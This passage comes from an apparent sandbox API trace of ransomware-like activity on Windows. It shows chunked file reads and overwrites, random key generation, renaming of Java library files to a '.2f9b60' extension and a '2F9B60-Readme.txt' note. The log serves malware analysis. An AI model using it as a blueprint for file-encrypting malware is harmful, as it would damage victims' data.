liDistanceToMove=0x1894800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.997] ReadFile (in: hFile=0x1f4c, lpBuffer=0x421ca920, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3723faa0, lpOverlapped=0x0 | out: lpBuffer=0x421ca920*, lpNumberOfBytesRead=0x3723faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.189] SetFilePointerEx (in: hFile=0x1f4c, liDistanceToMove=0x1894800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d130 [0171.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d130) returned 1 [0171.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d9f0f0 [0171.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d130 [0171.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d160 [0171.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d160) returned 1 [0171.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.191] WriteFile (in: hFile=0x1f4c, lpBuffer=0x41d9f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3723faa0, lpOverlapped=0x0 | out: lpBuffer=0x41d9f0f0*, lpNumberOfBytesWritten=0x3723faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d9f0f0) returned 1 [0194.873] SetFilePointerEx (in: hFile=0x1f4c, liDistanceToMove=0x312102e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.873] ReadFile (in: hFile=0x1f4c, lpBuffer=0x421ca920, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3723faa0, lpOverlapped=0x0 | out: lpBuffer=0x421ca920*, lpNumberOfBytesRead=0x3723faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0195.578] SetFilePointerEx (in: hFile=0x1f4c, liDistanceToMove=0x312102e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058560 [0195.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869bc0 [0195.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137390 [0195.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137390) returned 1 [0195.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4248c580 [0195.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137390 [0195.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137360 [0195.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137360) returned 1 [0195.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0195.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058560) returned 1 [0195.581] WriteFile (in: hFile=0x1f4c, lpBuffer=0x4248c580*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3723faa0, lpOverlapped=0x0 | out: lpBuffer=0x4248c580*, lpNumberOfBytesWritten=0x3723faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0210.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4248c580) returned 1 [0210.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x430ea0f0 [0210.378] SetFilePointerEx (in: hFile=0x1f4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0210.378] WriteFile (in: hFile=0x1f4c, lpBuffer=0x1cebceb0*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x3723fb50, lpOverlapped=0x0 | out: lpBuffer=0x1cebceb0*, lpNumberOfBytesWritten=0x3723fb50*=0x13e, lpOverlapped=0x0) returned 1 [0215.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bf70 [0215.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb860 [0215.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5f0 [0215.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5f0) returned 1 [0215.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82cfe0 [0215.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5f0 [0215.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abbb0 [0215.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abbb0) returned 1 [0215.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb860) returned 1 [0215.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bf70) returned 1 [0215.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x202abbb0 [0215.215] sprintf (in: _Dest=0x202abbb0, _Format="%c%c" | out: _Dest="c5") returned 2 [0215.215] sprintf (in: _Dest=0x202abbb2, _Format="%c%c" | out: _Dest="ad") returned 2 [0215.215] sprintf (in: _Dest=0x202abbb4, _Format="%c%c" | out: _Dest="31") returned 2 [0215.215] sprintf (in: _Dest=0x202abbb6, _Format="%c%c" | out: _Dest="51") returned 2 [0215.215] sprintf (in: _Dest=0x202abbb8, _Format="%c%c" | out: _Dest="5b") returned 2 [0215.215] sprintf (in: _Dest=0x202abbba, _Format="%c%c" | out: _Dest="0b") returned 2 [0215.215] sprintf (in: _Dest=0x202abbbc, _Format="%c%c" | out: _Dest="d3") returned 2 [0215.215] sprintf (in: _Dest=0x202abbbe, _Format="%c%c" | out: _Dest="49") returned 2 [0215.215] sprintf (in: _Dest=0x202abbc0, _Format="%c%c" | out: _Dest="59") returned 2 [0215.215] sprintf (in: _Dest=0x202abbc2, _Format="%c%c" | out: _Dest="a2") returned 2 [0215.215] sprintf (in: _Dest=0x202abbc4, _Format="%c%c" | out: _Dest="5d") returned 2 [0215.215] sprintf (in: _Dest=0x202abbc6, _Format="%c%c" | out: _Dest="3d") returned 2 [0215.215] RtlInitAnsiString (in: DestinationString=0x3723fbc8, SourceString="c5ad31515b0bd34959a25d3d" | out: DestinationString="c5ad31515b0bd34959a25d3d") [0215.215] RtlAnsiStringToUnicodeString (in: DestinationString=0x3723fb98, SourceString="c5ad31515b0bd34959a25d3d", AllocateDestinationString=1 | out: DestinationString="c5ad31515b0bd34959a25d3d") returned 0x0 [0215.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d8340 [0215.216] wcscat (in: _Dest=0x430ea0f0, _Source="c5ad31" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\c5ad31") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\c5ad31" [0215.216] wcscat (in: _Dest=0x430ea0f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\c5ad31.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\c5ad31.2f9b60" [0215.216] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\c5ad31.2f9b60", NtPathName=0x3723fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\c5ad31.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a1260 [0238.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a1260) returned 1 [0238.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b4530) returned 1 [0238.391] NtQueryInformationFile (in: FileHandle=0x1f4c, IoStatusBlock=0x3723fbd8, FileInformation=0x3723fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3723fbd8, FileInformation=0x3723fbe8) returned 0x0 [0238.391] NtSetInformationFile (FileHandle=0x1f4c, IoStatusBlock=0x3723fbd8, FileInformation=0x3723fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0241.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430ea0f0) returned 1 [0241.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8340) returned 1 [0241.852] FlushFileBuffers (hFile=0x1f4c) returned 1 [0241.856] CloseHandle (hObject=0x1f4c) returned 1 [0242.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420603b0 [0242.978] wcscpy (in: _Dest=0x420603b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0242.978] wcscat (in: _Dest=0x420603b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0242.978] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0242.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420603b0) returned 1 [0242.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cdf0) returned 1 Thread: id = 2098 os_tid = 0x13f0 [0138.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86ef70 [0138.661] wcscpy (in: _Dest=0x1b86ef70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" [0138.661] wcscat (in: _Dest=0x1b86ef70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0138.661] wcscat (in: _Dest=0x1b86ef70, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\*" [0138.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027d6a0 [0138.661] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\*", lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d3d0 [0140.604] wcscmp (_String1=".", _String2=".") returned 0 [0140.604] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.604] wcscmp (_String1="..", _String2=".") returned 1 [0140.604] wcscmp (_String1="..", _String2="..") returned 0 [0140.604] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xad2, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklist", cAlternateFileName="BLACKL~1")) returned 1 [0140.604] wcscmp (_String1="blacklist", _String2=".") returned 1 [0140.604] wcscmp (_String1="blacklist", _String2="..") returned 1 [0140.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061d30 [0140.604] wcscpy (in: _Dest=0x42061d30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" [0140.604] wcscat (in: _Dest=0x42061d30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0140.604] wcscat (in: _Dest=0x42061d30, _Source="blacklist" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\blacklist") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\blacklist" [0152.171] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\blacklist" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\blacklist")) returned 0x20 [0152.171] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\blacklist", dwFileAttributes=0x20) returned 1 [0152.172] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\blacklist" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\blacklist"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x374 [0152.172] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x375afb40 | out: lpFileSize=0x375afb40*=2770) returned 1 [0152.172] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xace, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.172] ReadFile (in: hFile=0x374, lpBuffer=0x375afac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x375afb08, lpOverlapped=0x0 | out: lpBuffer=0x375afac0*, lpNumberOfBytesRead=0x375afb08*=0x4, lpOverlapped=0x0) returned 1 [0152.200] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500a70 [0152.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b60 [0152.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b90 [0152.201] NtQuerySystemTime (in: CurrentTime=0x375afa00 | out: CurrentTime=0x375afa00*=132462177574114000) returned 0x0 [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x628e2afc [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x23d55203 [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x68ce5f95 [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x3075b479 [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x5749c6bc [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x29d41176 [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0xf16c572 [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x589532dc [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x301fd2dd [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x54f86d9a [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x7fb3b1f5 [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x5e8c7ff8 [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x3c4ef392 [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0xf622178 [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x1d4f4403 [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x77483da2 [0152.201] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x493c69a1 [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x24bf511 [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x4a3a4e7c [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x45ec694c [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x4e77f717 [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x2b03f4d3 [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0xdde498c [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0xe839816 [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x6e4456c9 [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x1a965b10 [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x11ed229d [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x7abf4e35 [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x5ac15c32 [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x10043834 [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0x3eb985f6 [0152.202] RtlRandomEx (in: Seed=0x375af9f0 | out: Seed=0x375af9f0) returned 0xe7ddb77 [0152.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500bc0 [0152.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420617b0 [0152.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500bf0 [0152.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420617b0) returned 1 [0152.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b90) returned 1 [0152.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500a70) returned 1 [0152.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058b50 [0152.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420617b0 [0152.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500a70 [0152.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500a70) returned 1 [0152.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425d79b0 [0152.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425db5c0 [0152.214] ReadFile (in: hFile=0x374, lpBuffer=0x425d79b0, nNumberOfBytesToRead=0xad2, lpNumberOfBytesRead=0x375af9f0, lpOverlapped=0x0 | out: lpBuffer=0x425d79b0*, lpNumberOfBytesRead=0x375af9f0*=0xad2, lpOverlapped=0x0) returned 1 [0152.214] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.214] WriteFile (in: hFile=0x374, lpBuffer=0x425db5c0*, nNumberOfBytesToWrite=0xad2, lpNumberOfBytesWritten=0x375af9f4, lpOverlapped=0x0 | out: lpBuffer=0x425db5c0*, lpNumberOfBytesWritten=0x375af9f4*=0xad2, lpOverlapped=0x0) returned 1 [0163.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19c20 [0163.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19c50 [0163.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19c50) returned 1 [0163.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425db5c0) returned 1 [0163.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425d79b0) returned 1 [0163.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420617b0) returned 1 [0163.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058b50) returned 1 [0163.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19c50 [0163.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058b50 [0163.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420617b0 [0163.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19c80 [0163.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19c80) returned 1 [0163.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19c80 [0163.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19cb0 [0163.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19ce0 [0163.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19ce0) returned 1 [0163.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420617b0) returned 1 [0163.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058b50) returned 1 [0163.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x169f70 [0163.089] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0163.089] WriteFile (in: hFile=0x374, lpBuffer=0x169f70*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x375afb10, lpOverlapped=0x0 | out: lpBuffer=0x169f70*, lpNumberOfBytesWritten=0x375afb10*=0x104, lpOverlapped=0x0) returned 1 [0164.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8692c0 [0164.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500ad0 [0164.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500ad0) returned 1 [0164.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d180 [0164.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500ad0 [0164.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500aa0 [0164.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500aa0) returned 1 [0164.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 [0164.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20500aa0 [0164.936] sprintf (in: _Dest=0x20500aa0, _Format="%c%c" | out: _Dest="74") returned 2 [0164.936] sprintf (in: _Dest=0x20500aa2, _Format="%c%c" | out: _Dest="d7") returned 2 [0164.936] sprintf (in: _Dest=0x20500aa4, _Format="%c%c" | out: _Dest="24") returned 2 [0164.936] sprintf (in: _Dest=0x20500aa6, _Format="%c%c" | out: _Dest="a8") returned 2 [0164.936] sprintf (in: _Dest=0x20500aa8, _Format="%c%c" | out: _Dest="a6") returned 2 [0164.936] sprintf (in: _Dest=0x20500aaa, _Format="%c%c" | out: _Dest="14") returned 2 [0164.936] sprintf (in: _Dest=0x20500aac, _Format="%c%c" | out: _Dest="ef") returned 2 [0164.936] sprintf (in: _Dest=0x20500aae, _Format="%c%c" | out: _Dest="b3") returned 2 [0164.936] sprintf (in: _Dest=0x20500ab0, _Format="%c%c" | out: _Dest="44") returned 2 [0164.936] sprintf (in: _Dest=0x20500ab2, _Format="%c%c" | out: _Dest="ef") returned 2 [0164.936] sprintf (in: _Dest=0x20500ab4, _Format="%c%c" | out: _Dest="26") returned 2 [0164.936] sprintf (in: _Dest=0x20500ab6, _Format="%c%c" | out: _Dest="fa") returned 2 [0164.936] sprintf (in: _Dest=0x20500ab8, _Format="%c%c" | out: _Dest="c9") returned 2 [0164.936] sprintf (in: _Dest=0x20500aba, _Format="%c%c" | out: _Dest="85") returned 2 [0164.936] sprintf (in: _Dest=0x20500abc, _Format="%c%c" | out: _Dest="ce") returned 2 [0164.937] sprintf (in: _Dest=0x20500abe, _Format="%c%c" | out: _Dest="cc") returned 2 [0164.937] sprintf (in: _Dest=0x20500ac0, _Format="%c%c" | out: _Dest="25") returned 2 [0164.937] sprintf (in: _Dest=0x20500ac2, _Format="%c%c" | out: _Dest="37") returned 2 [0164.937] RtlInitAnsiString (in: DestinationString=0x375afb88, SourceString="74d724a8a614efb344ef26fac985cecc2537" | out: DestinationString="74d724a8a614efb344ef26fac985cecc2537") [0164.937] RtlAnsiStringToUnicodeString (in: DestinationString=0x375afb58, SourceString="74d724a8a614efb344ef26fac985cecc2537", AllocateDestinationString=1 | out: DestinationString="74d724a8a614efb344ef26fac985cecc2537") returned 0x0 [0164.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd86c10 [0164.937] RtlFreeAnsiString (AnsiString="7") [0164.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500aa0) returned 1 [0164.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500ad0) returned 1 [0164.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169f70) returned 1 [0164.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19c80) returned 1 [0164.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19cb0) returned 1 [0164.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19c50) returned 1 [0164.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19c20) returned 1 [0164.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b60) returned 1 [0164.940] 